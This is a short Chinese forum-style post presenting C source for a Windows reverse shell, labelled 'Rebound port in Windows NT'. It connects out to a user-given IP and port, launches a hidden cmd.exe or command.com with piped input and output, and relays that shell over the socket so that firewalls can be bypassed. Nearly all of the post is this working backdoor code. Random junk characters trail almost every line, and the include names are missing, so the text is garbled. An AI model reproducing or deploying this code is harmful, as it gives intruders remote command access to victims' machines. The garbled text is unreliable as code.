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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4Z],+?.[  
! 7Nn ]Lx  
/* ============================== @#1cx  
Rebound port in Windows NT zAu}hVcW  
By wind,2006/7  Ckw83X  
===============================*/ KdS eCeddW  
#include frk7^5  
#include 8QPT\~  
"{mt?  
#pragma comment(lib,"wsock32.lib") )ZviS.  
Ep,1}Dx  
void OutputShell(); Za34/ro/T  
SOCKET sClient; ?#U0eb5u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0\QYf0o   
|@OJ~5H/{  
void main(int argc,char **argv) JPHUmv6  
{ a{5H33JA  
WSADATA stWsaData; kzW\z4f  
int nRet; q^u6f?B  
SOCKADDR_IN stSaiClient,stSaiServer; -.^@9 a>  
?V.ig  
if(argc != 3) M3)v-"  
{ R<_mK33hd  
printf("Useage:\n\rRebound DestIP DestPort\n"); h#vL5At  
return; 3s#|Y,{?6R  
} S_`W@cp[  
'o7R/`4KR  
WSAStartup(MAKEWORD(2,2),&stWsaData); `9]P/J^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r .{rNR  
fYv ;TV>73  
stSaiClient.sin_family = AF_INET; OE5X8DqQe  
stSaiClient.sin_port = htons(0); iM4mkCdOO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1 VPg`+o  
p, !1 3X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J!ln=h  
{ BYTXAZLb  
printf("Bind Socket Failed!\n"); ::kpl2r\c  
return; @2QJm  
} i%#th'C!P  
_a?wf!4>P  
stSaiServer.sin_family = AF_INET; Jv-zB]3&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 39'X$!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hB?U5J  
`#-p,NElV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ? +5" %4o  
{ 3 (Gygq#  
printf("Connect Error!"); `[w}hFl~q  
return; 2l]C55p)s  
} :-W$PIBe  
OutputShell(); JDIz28Ww  
} VGq{y{(  
pT|./ Fe  
void OutputShell() H&"_}  
{ (or =f`  
char szBuff[1024]; kfH9Y%bOy  
SECURITY_ATTRIBUTES stSecurityAttributes; !NlB%cF  
OSVERSIONINFO stOsversionInfo; ]W89.><%14  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n=lggBRx  
STARTUPINFO stStartupInfo; ;igE IGR  
char *szShell; 11nO<WH  
PROCESS_INFORMATION stProcessInformation; J@=!w[v+  
unsigned long lBytesRead; $`cy'ZaF  
s|Imz<IE  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Yb,G^+;  
S(q4OQ B{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e7)>U!9c9  
stSecurityAttributes.lpSecurityDescriptor = 0; j@kRv@  
stSecurityAttributes.bInheritHandle = TRUE; 0j-F6a*p'1  
1q;I7_{ 2  
853]CK<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +_vm\]4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?S;et2f  
~:'gvR;x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @ y&h4^)z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;jpw"-J`  
stStartupInfo.wShowWindow = SW_HIDE; r;@:S~  
stStartupInfo.hStdInput = hReadPipe; LIm$Wl1U  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S^_JC  
x`j_d:C~G  
GetVersionEx(&stOsversionInfo); AmUe0CQ:k'  
arpJiG~JR  
switch(stOsversionInfo.dwPlatformId) 8trm`?>  
{ 'Q^G6'(SaK  
case 1: \oD=X}UQw(  
szShell = "command.com"; x3:ZB  
break; z{<q0.^EFh  
default: _.s\qQ  
szShell = "cmd.exe"; o =jX  
break; b*$o[wO9  
} -NI@xJO4(;  
&**.naSo  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i&AXPq>`  
exa}dh/uC  
send(sClient,szMsg,77,0); j[Hg]  
while(1) DVeF(Y3&  
{ Bk@_]a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $P1d#;rb%  
if(lBytesRead) 'RN"yMv7l  
{ }&'yt97+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |\{J` 5gr  
send(sClient,szBuff,lBytesRead,0); {/,+_E/  
} \dQ2[Ek  
else b W`)CWd  
{ g]TI8&tP!L  
lBytesRead=recv(sClient,szBuff,1024,0); QvyUd%e'5A  
if(lBytesRead<=0) break; {BwN4r46  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :;#c:RKi:  
} y D=)&->Ra  
} +LU).  
Qcy+ {j]  
return; ;_;H(%uY  
}
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